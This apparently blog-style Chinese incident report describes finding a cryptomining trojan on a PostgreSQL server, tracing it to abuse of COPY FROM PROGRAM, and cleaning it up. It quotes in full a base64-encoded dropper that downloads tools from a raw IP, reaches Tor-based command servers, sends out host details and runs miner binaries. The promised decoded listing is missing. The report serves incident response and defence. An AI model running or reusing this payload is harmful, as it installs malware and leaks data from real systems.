一、发现过程
周末加班发现数据库异常的慢,直接上服务器看到cpu已经跑满,通过top命令查看系统最消耗资源的进程,看到了挖矿木马的前台进程,占用率达780%(八核心机器最大800%)。目标已经确定,我没有急忙杀掉该进程,打算摸清楚病毒的注入过程,因为攻击过程实在太过于经典(我反正跪着看完的木马脚本),决定写出来大家分享。
二、病毒注入过程
通过观察top中进程的执行用户我可以知道病毒是postgres用户的。
通过ps命令,找到病毒的执行脚本位于/var/lib/pgsql/.systemd-private-mtZR5P5H3Al5ULG4bdAIdfiYQbP267Ux.sh(还贴心的隐藏了)
通过上面两步已经确定pg是注入点了,postgres用户是运行pg数据库必须创建的用户,本来是一个低权限用户,并且不允许登录。那么是如何被注入的呢?只有一个答案:利用sql反射注入。
因为数据库默认日志级别是error,我觉得大概率没有记录,但是本着死马当活马医的精神我还是看了数据库的日志,万幸,有报错!报错的sql如下:
1
|
2022-07-29 22:22:36.069 CST [13867] ERROR: program "echo WFJBTkRPTQpleGVjICY+L2Rldi9udWxsCmV4cG9ydCBQQVRIPSRQQVRIOiRIT01FOi9iaW46L3NiaW46L3Vzci9iaW46L3Vzci9zYmluOi91c3IvbG9jYWwvYmluOi91c3IvbG9jYWwvc2JpbgoKZnVuY3Rpb24ga3VybCgpIHsKICByZWFkIHByb3RvIHNlcnZlciBwYXRoIDw8PCQoZWNobyAkezEvLy8vIH0pCiAgRE9DPS8ke3BhdGgvLyAvL30KICBIT1NUPSR7c2VydmVyLy86Kn0KICBQT1JUPSR7c2VydmVyLy8qOn0KICBbWyB4IiR7SE9TVH0iID09IHgiJHtQT1JUfSIgXV0gJiYgUE9SVD04MAoKICBleGVjIDM8Pi9kZXYvdGNwLyR7SE9TVH0vJFBPUlQKICBlY2hvIC1lbiAiR0VUICR7RE9DfSBIVFRQLzEuMFxyXG5Ib3N0OiAke0hPU1R9XHJcblxyXG4iID4mMwogICh3aGlsZSByZWFkIGxpbmU7IGRvCiAgIFtbICIkbGluZSIgPT0gJCdccicgXV0gJiYgYnJlYWsKICBkb25lICYmIGNhdCkgPCYzCiAgZXhlYyAzPiYtCn0KCnJtIC1mICRIT01FL3NzCmN1cmwgLVYgfHwgd2dldCAtcSBodHRwczovL2dpdGh1Yi5jb20vbW9wYXJpc3RoZWJlc3Qvc3RhdGljLWN1cmwvcmVsZWFzZXMvZG93bmxvYWQvdjcuODIuMC9jdXJsLWFtZDY0IC1PICRIT01FL2N1cmw7Y2htb2QgK3ggJEhPTUUvY3VybApjdXJsIC1WIHx8IGt1cmwgaHR0cDovLzEzOS41OS4xNTAuNzo0NDMvY3VybCA+ICRIT01FL2N1cmw7Y2htb2QgK3ggJEhPTUUvY3VybApzcyAtdiAgIHx8IGt1cmwgaHR0cDovLzEzOS41OS4xNTAuNzo0NDMvc3MgICA+ICRIT01FL3NzO2NobW9kICt4ICRIT01FL3NzCnNzIC12ICAgfHwgY3VybCAtcyBodHRwOi8vMTM5LjU5LjE1MC43OjQ0My9zcyAtbyAkSE9NRS9zcztjaG1vZCAreCAkSE9NRS9zcwpwcyAgICAgIHx8IGN1cmwgLXMgaHR0cDovLzEzOS41OS4xNTAuNzo0NDMvcHMgLW8gJEhPTUUvcHM7Y2htb2QgK3ggJEhPTUUvcHMKcHMgYXV4fCBncmVwICJwb3N0Z3JlczogZ3JlcCJ8IGdyZXAgLXYgZ3JlcCB8IGF3ayAne3ByaW50ICQyfScgfCB4YXJncyBraWxsIC05CgpkPSQoZ3JlcCB4OiQoaWQgLXUpOiAvZXRjL3Bhc3N3ZHxjdXQgLWQ6IC1mNikKYz0kKGVjaG8gImN1cmwgLTRmc1NMa0EtIC1tMjAwIikKdD0kKGVjaG8gInJ4bXhwemZreWRrdWxoaHFudWZ0Ym1mNmQ1cTY3ampjaG9wbWg0b2ZzemZ3d25tejRicXEyZmlkIikKCnNvY2t6KCkgewpuPShkbnMudHduaWMudHcgZG9oLWNoLmJsYWhkbnMuY29tIGRvaC1kZS5ibGFoZG5zLmNvbSBkb2gtZmkuYmxhaGRucy5jb20gZG9oLWpwLmJsYWhkbnMuY29tIGRvaC5saSBkb2gucHViIGRvaC1zZy5ibGFoZG5zLmNvbSBmaS5kb2guZG5zLnNub3B5dGEub3JnIGh5ZHJhLnBsYW45LW5zMS5jb20pCnA9JChlY2hvICJkbnMtcXVlcnk/bmFtZT1yZWxheS50b3Iyc29ja3MuaW4iKQpxPSR7blskKChSQU5ET00lJHsjbltAXX0pKV19CnM9JCgkYyBodHRwczovLyRxLyRwIHwgZ3JlcCAtb0UgIlxiKFswLTldezEsM31cLil7M31bMC05XXsxLDN9XGIiIHx0ciAnICcgJ1xuJ3xncmVwIC1FdiBbLl0wfHNvcnQgLXVSfHRhaWwgLTEpCn0KCmZleGUoKSB7CmZvciBpIGluIC4gJEhPTUUgL3Vzci9iaW4gJGQgL3RtcCAvdmFyL3RtcCA7ZG8gZWNobyBleGl0ID4gJGkvaSAmJiBjaG1vZCAreCAkaS9pICYmIGNkICRpICYmIC4vaSAmJiBybSAtZiBpICYmIGJyZWFrO2RvbmUKfQoKdSgpIHsKc29ja3oKZj0vcGcuJCh1bmFtZSAtbSkKeD0uLyQoZGF0ZXxtZDVzdW18Y3V0IC1mMSAtZC0pCnI9JChjdXJsIC00ZnNTTGsgY2hlY2tpcC5hbWF6b25hd3MuY29tfHxjdXJsIC00ZnNTTGsgaXAuc2IpXyQod2hvYW1pKV8kKHVuYW1lIC1tKV8kKHVuYW1lIC1uKV8kKGlwIGF8Z3JlcCAnaW5ldCAnfGF3ayB7J3ByaW50ICQyJ318bWQ1c3VtfGF3ayB7J3ByaW50ICQxJ30pXyQoY3JvbnRhYiAtbHxiYXNlNjQgLXcwKQokYyAteCBzb2NrczVoOi8vJHM6OTA1MCAkdC5vbmlvbiRmIC1vJHggLWUkciB8fCAkYyAkMSRmIC1vJHggLWUkcgpjaG1vZCAreCAkeDskeDtybSAtZiAkeAp9Cgpmb3IgaCBpbiB0b3Iyd2ViLmluIHRvcjJ3ZWIuaXQKZG8KaWYgISBscyAvcHJvYy8kKGhlYWQgLW4gMSAvdG1wLy5YMTEtdW5peC8wMSkvc3RhdHVzOyB0aGVuCmZleGU7dSAkdC4kaApscyAvcHJvYy8kKGhlYWQgLW4gMSAvdG1wLy5YMTEtdW5peC8wMSkvc3RhdHVzIHx8IChjZCAvdG1wO3UgJHQuJGgpCmxzIC9wcm9jLyQoaGVhZCAtbiAxIC90bXAvLlgxMS11bml4LzAxKS9zdGF0dXMgfHwgKGNkIC9kZXYvc2htO3UgJHQuJGgpCmVsc2UKYnJlYWsKZmkKZG9uZQokYyBodHRwOi8vJHQudG9yMndlYi5pbi9hIC1vIC4vYTtjaG1vZCAreCBhOy4vYQokYyBodHRwOi8vJHQudG9yMndlYi5pbi9iIC1vIC4vYjtjaG1vZCAreCBiOy4vYgokYyBodHRwOi8vJHQudG9yMndlYi5pbi9jIC1vIC4vYztjaG1vZCAreCBjOy4vYwo=|base64 -d|bash" failed
|
这一段我解释下,这里面最重要的就是:
1
|
COPY [table-name] FROM PROGRAM '[shell-command]'
|
当执行SELECT * FROM 的时候命令就会执行shell命令,这个是pg9.3以后的一个特性,它允许数据库的超级用户以及“pg_read_server_files”组用户执行任意的操作系统命令(这不是妥妥的为反射而生?)。
我们把上面的命令拿出来看,这个命令是base64加密的,解析以后内容为(加了注释方便大家看懂):
总结一下:
- doh解析域名获取tor代理IP
- 查找目标主机可读写的路径
- 通过tor代理在C&C服务器上下载与目标主机硬件版本相匹配的恶意文件
- 开启crontab计划任务并执行
- 根据pid文件返回脚本执行结果并进行判断
根据这个样本的特征查了下资料,发现和SystemdMiner挖矿木马比较类似,特点如下:
三、清理和防范
3.1、清理木马
1
2
|
$: crontab -u postgres -r
$: systemctl stop crond
|
1
|
$: rm -f /var/lib/pgsql/*.sh && rm -f /var/lib/pgsql/14/data/a /var/lib/pgsql/14/data/b /var/lib/pgsql/14/data/c
|
1
|
$: cat /temp/.X11-unix/01 | xargs kill -9 && cat /temp/.X11-unix/11 | xargs kill -9 && cat /temp/.X11-unix/22 | xargs kill -9 && rm -f /temp/.X11-unix/* && chattr +i /temp/.X11-unix
|
1
|
ps aux| grep '.systemd-private-' | awk '{print $2}' | xargs kill -9
|
3.2、防范
- 数据库不要使用默认密码
- 非必要不要开启定时任务
- 权限最小原则
- 任何登录用户不使用弱口令